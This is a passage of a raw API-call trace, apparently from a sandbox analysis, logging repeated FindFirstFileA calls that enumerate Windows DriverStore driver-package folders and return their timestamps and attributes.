ftLastWriteTime.dwLowDateTime=0x5b83131d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.702] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnts003.inf_amd64_neutral_33a68664c7e7ae4b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b915b5f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d328c66, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d328c66, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.704] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnts003.inf_amd64_neutral_33a68664c7e7ae4b\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b915b5f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b93bcbf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b93bcbf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.710] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnxx002.inf_amd64_neutral_560fdd891b24f384\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b9fa3a0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d34edc6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d34edc6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.711] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnxx002.inf_amd64_neutral_560fdd891b24f384\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b9fa3a0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b9fa3a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b9fa3a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.715] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\qd3x64.inf_amd64_neutral_e8903726d63a3f07\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x453e136d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x657ad643, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x657ad643, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.736] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ql2300.inf_amd64_neutral_ca8487daf77ff7cb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4158b2da, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x616378ca, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x616378ca, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.737] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ql40xx.inf_amd64_neutral_77a826e5c0a07842\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x416499bb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6174226c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6174226c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.739] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ql40xx2.inf_amd64_neutral_b95932400326817e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x416e1f3c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6174226c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6174226c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.740] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ramdisk.inf_amd64_neutral_798b5d4dd3f22a07\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3db85a2f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60815610, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60815610, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.741] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\rawsilo.inf_amd64_neutral_8eb7e6403ddbb7a8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d3c92a1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6070ac6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6070ac6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.743] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\rdpbus.inf_amd64_neutral_3b741ca76444b9c3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3accea19, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ff9a7a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ff9a7a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.744] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ricoh.inf_amd64_neutral_66b4504d1fb1c857\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b7d0fed, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60221f05, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60221f05, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.825] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\rndiscmp.inf_amd64_neutral_4ca64d28e1be8fa9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x396effd1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ed27cfe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ed27cfe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.842] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\sbp2.inf_amd64_neutral_332943647e950ada\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x399a9840, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c0ca228, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c0ca228, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.844] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\scrawpdo.inf_amd64_neutral_4c228493af8567bb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fa05447, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60f5f97d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60f5f97d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.845] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\scsidev.inf_amd64_neutral_a7f5d9f34b621dca\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43919bbb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x620edbde, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x620edbde, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.848] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\sdbus.inf_amd64_neutral_735aa3b5ee832f62\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3774ba61, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b6d25f6, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b6d25f6, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.849] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\sensorsalsdriver.inf_amd64_neutral_1c5bc8e71eb90127\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x821a0c33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x83df1a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x821ed111, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.860] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\sffdisk.inf_amd64_neutral_d2425e60845d17d3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x372aefb8, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b555833, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b555833, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.867] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\sisraid2.inf_amd64_neutral_845e008c32615283\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x427d7c1c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61e1a1b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61e1a1b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.870] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\sisraid4.inf_amd64_neutral_65ab84e9830f6f4b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x428962fd, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61e1a1b9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61e1a1b9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.872] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\smartcrd.inf_amd64_neutral_6fb75ea318f84fe5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df3dc96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x608618d1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x608618d1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.879] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\stexstor.inf_amd64_neutral_80ee226e29362f51\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41f82f0c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61ad4373, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61ad4373, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.880] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\sti.inf_amd64_neutral_9d9a7113099a28a2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39aa8238, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5f6873b0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5f6873b0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.887] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\tape.inf_amd64_neutral_c6a6811d3d827dba\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43456fb3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6200939c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6200939c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.895] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\tdibth.inf_amd64_neutral_6ad685957123daf1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f51c6de, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x60d968fa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x60d968fa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.897] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\tpm.inf_amd64_neutral_d5bb6575cf91cd73\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43c85b62, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6215ffff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6215ffff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.899] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\transfercable.inf_amd64_neutral_82f4c743c8996d67\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37addb67, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b829258, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b829258, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.901] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\transfercable.inf_amd64_neutral_82f4c743c8996d67\\amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37addb67, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x37addb67, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x37addb67, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.902] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\tsgenericusbdriver.inf_amd64_neutral_24c807694f614911\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3686b0c6, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b235b4d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b235b4d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.908] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\tsprint.inf_amd64_neutral_c48d421ad2c1e3e3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386786bd, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3bb6f09e, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3bb6f09e, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.912] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\tsprint.inf_amd64_neutral_c48d421ad2c1e3e3\\amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3869e81d, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3869e81d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3869e81d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.917] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\tsusbhubfilter.inf_amd64_neutral_d0615d6fd67bad03\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36a80409, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b281e0e, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b281e0e, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.921] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ts_generic.inf_amd64_neutral_1a5c861fdb3aab0e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ad40e3a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ff9a7a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ff9a7a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.923] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\ts_wpdmtp.inf_amd64_neutral_daa64ca27846aa23\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3adb325b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ff9a7a0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ff9a7a0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.924] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\umbus.inf_amd64_neutral_2d4257afa2e35253\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39eb870a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c246feb, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c246feb, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.926] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\umpass.inf_amd64_neutral_e3be362bfab667d2\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4321bb0e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x61fe323c, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x61fe323c, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.927] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\unknown.inf_amd64_neutral_5eb6ac70dd1a3ad0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43cf7f82, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6215ffff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6215ffff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.928] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\usb.inf_amd64_neutral_269d7150439b3372\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39c57105, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3c1627a9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3c1627a9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.930] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\usbcir.inf_amd64_neutral_379fb0c62496be6e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x371321f6, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x3b4bd2b2, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x3b4bd2b2, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.931] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\usbport.inf_amd64_neutral_f935002f367d5bb0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39d61aa7, 